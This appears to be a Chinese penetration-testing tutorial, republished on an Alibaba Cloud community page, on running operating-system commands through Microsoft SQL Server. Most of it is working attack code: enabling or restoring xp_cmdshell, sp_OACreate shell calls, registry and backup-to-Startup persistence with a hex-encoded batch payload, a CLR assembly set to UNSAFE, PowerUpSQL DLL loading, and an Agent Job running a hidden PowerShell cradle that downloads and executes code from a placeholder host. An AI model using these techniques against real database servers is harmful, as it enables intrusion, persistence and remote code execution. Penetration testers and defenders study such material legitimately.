如何通过SQL Server执行系统命令?

本文涉及的产品
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
云数据库 RDS SQL Server,基础系列 2核4GB
简介: 本文讲的是如何通过SQL Server执行系统命令?,渗透测试过程中,大家经常会碰到通过MSSQL来进行提权或执行系统命令之类的操作,通常我们经常会使用xp_cmdshell来进行执行系统命令,但是当xp_cmdshell不能使用的时候,我们还有什么别的方式么?本文将介绍与分享一下我自己学到的一些姿势。
本文讲的是 如何通过SQL Server执行系统命令?

0x00 简介

渗透测试过程中,大家经常会碰到通过MSSQL来进行提权或执行系统命令之类的操作,通常我们经常会使用xp_cmdshell来进行执行系统命令,但是当xp_cmdshell不能使用的时候,我们还有什么别的方式么?本文将介绍与分享一下我自己学到的一些姿势。

0x01 常用的一些姿势

1. XP_CMDSHELL

这个大家都比较熟悉了,通过xp_cmdshell来执行命令,可使用以下语句来执行:

exec master..xp_cmdshell "whoami"

默认情况下xp_cmdshell 是禁止的,如下图:

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

这个时候,可以使用以下命令进行开启:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

关闭一样,只是将上面的后面的那个”1”改成”0”就可以了。
开启以后,则可执行系统命令

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句:

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

2. SP_OACREATE

当xp_cmdshell 删除以后,可以使用SP_OACreate。
首先要打开组件:

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

之后使用以下语句执行命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'

这里要注意一下,此方式执行是无回显的

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

3. 自启动

以下方式需要电脑重启。
添加注册表:

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'

备份添加启动项:

alter database test set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
create table cmd (a image)--  (新建立一个cmd表)
backup database test  to disk = 'D:\\temp\\cmd'  WITH init --
backup log test to disk = 'D:\\temp\\cmd1'  WITH init --  (减少备分数据的大小)
insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40)
-- (插入cmd命令)
backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (备分日志到启动路径)
drop table cmd --(删除新建的cmd表)
alter database test set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)

测试发现,Win10+MSSQL 2012导出的批处理并不能顺利执行,可能与系统及数据库版本有一定关系,成功率并不怎么高。

4. 通过沙盒执行命令

开启沙盒:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行命令:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

0x02 通过Agent Job执行命令

此种方式适用于服务器开启了MSSQL Agent Job服务,并且服务器中当前运行的用户账号拥有足够的权限去创建并执行代理作业的情况。
利用代码如下:

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

关于此种方式已经有文章进行介绍,有兴趣可以阅读一下。戳我

0x03 SQL Server CLR

这种方式是最近才学到的,也是本文重点介绍的一种姿势。
Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework 的公共语言运行时 (CLR) 组件集成的功能。CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。对于 SQL Server 用户和应用程序开发人员来说,CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。 
要通过此种方式来执行命令,也有几个前提:

1、在SQL Server上能启用CLR并可以创建自定义存储过程
2、SQL Server当前账号具有执行命令/代码所需要的权限

创建CLR有两种方式:
方式一:使用DLL文件进行创建

CREATE ASSEMBLY AssemblyName from ‘DLLPath’

方式二:使用文件16进制流进行创建

CREATE ASSEMBLY AssemblyName from 文件十六进制流

对于做渗透的我们,当然是没有文件是最好的方式了,因此,本文主要介绍方式二。以下为详细测试步骤:
1、安装Visual Studio和SQL Server数据库,此次测试使用了VS2015跟SQL2012。
2、创建一个新的SQL Server数据库项目

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

3、设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012; 将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为自己需要的版本;语言选择C#。

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

4、右键项目,选择添加->新建项,新建SQL CLR C# 存储过程

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

5、填入以下测试代码:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void SqlStoredProcedure1 ()
    {
        // 在此处放置代码
        System.Diagnostics.Process process = new System.Diagnostics.Process();
        process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/C whoami > d:\\temp\\1.txt";
        process.Start();
    }
}

6、填入代码以后进行编译,之后到编译目录下可以看到一个dacpac后缀的文件。

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

7、双击此文件进行解压,将解压出一个名为mode.sql的文件。
8、执行SQL文件中的以下语句

CREATE ASSEMBLY [ExecCode]
    AUTHORIZATION [dbo]
    FROM 0x4D5A[...snip...]
    WITH PERMISSION_SET = UNSAFE;

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

之后执行:

CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

9、开启数据库服务器配置选项clr enabled

EXEC sp_configure N'show advanced options', N'1' 
RECONFIGURE WITH OVERRIDE
--开启clr enabled 选项
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE 
--关闭所有服务器配置选项
EXEC sp_configure N'show advanced options', N'0' 
RECONFIGURE WITH OVERRIDE
--如果存在权限问题,执行下面一段脚本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

10、执行命令:

EXEC [dbo].[SqlStoredProcedure1];

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

如果没成功,可以换个数据库试试看。

11、删除存储过程

DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode

0x04 PowerUpSQL

当然针对SQL Server的攻击,有一个强大的工具PowerUpSQL,里面也有很多针对MSSQL的攻击方式。下面介绍两种比较实用的方式。

1. SP_Addextendedproc

套件中的Create-SQLFileXpDll方法,在这里对其使用方式简单的进行一下介绍。
创建DLL:

PS C:\Users\Evi1cg\Desktop\PowerUpSQL> . .\PowerUpSQL.ps1
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\
test.txt" -ExportName xp_test

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

SQL Server 通过 sp_addextendedproc 调用DLL从而达到命令执行的效果。这里有两种方式导入:

//via local disk
sp_addextendedproc 'xp_test', 'D:\temp\exec.dll'
//via UNC path:
sp_addextendedproc 'xp_test', '\\servername\pathtofile\exec.dll'

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

导入之后的可调用xp_test来执行命令:

exec master..xp_test;

如何通过SQL Server执行系统命令?如何通过SQL Server执行系统命令?

通过以下命令可以卸载:

sp_dropextendedproc 'xp_test'

2. SMB Relay Attacks

针对这种方式,已经有文章总结了,这里就不多做介绍了,详细请看这里

0x05 小结

本文就通过SQL Server 执行系统命令进行了一下小结,当然方式可能不全,仅仅是自己知道的一些方法,还希望大牛别喷,如果您有什么更加新颖的方法,欢迎补充,希望本文对你有所帮助。




原文发布时间为:2017年2月14日
本文作者:Evi1cg
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情: https://www.aliyun.com/product/rds/sqlserver
目录
相关文章
|
14天前
|
SQL 存储 UED
系统里这个同时查冷热表的sql,动动手指,从8s降到3s
系统将交易数据按交易时间分为热表(最近3个月)和冷表(3个月前)。为保证用户体验,当企业门户端查询跨越冷热表时,尤其针对大客户,查询性能优化至关重要。以下是程序的SQL查询语句及其优化版本。
26 1
|
2天前
|
SQL 安全 关系型数据库
sql注入原理和sqlmap命令的基础命令以及使用手法
sql注入原理和sqlmap命令的基础命令以及使用手法
|
14天前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
3月前
|
存储 关系型数据库 MySQL
(十五)MySQL命令大全:以后再也不用担心忘记SQL该怎么写啦~
相信大家在编写SQL时一定有一个困扰,就是明明记得数据库中有个命令/函数,可以实现自己需要的功能,但偏偏不记得哪个命令该怎么写了,这时只能靠盲目的去百度,以此来寻找自己需要的命令。
124 28
|
2月前
|
SQL 安全 API
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
63 4
|
2月前
|
SQL 数据库 开发者
深入理解SQL中的ALIAS命令
【8月更文挑战第31天】
56 0
|
2月前
|
SQL 存储 关系型数据库
|
3月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
71 13
|
3月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
|
3月前
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
51 6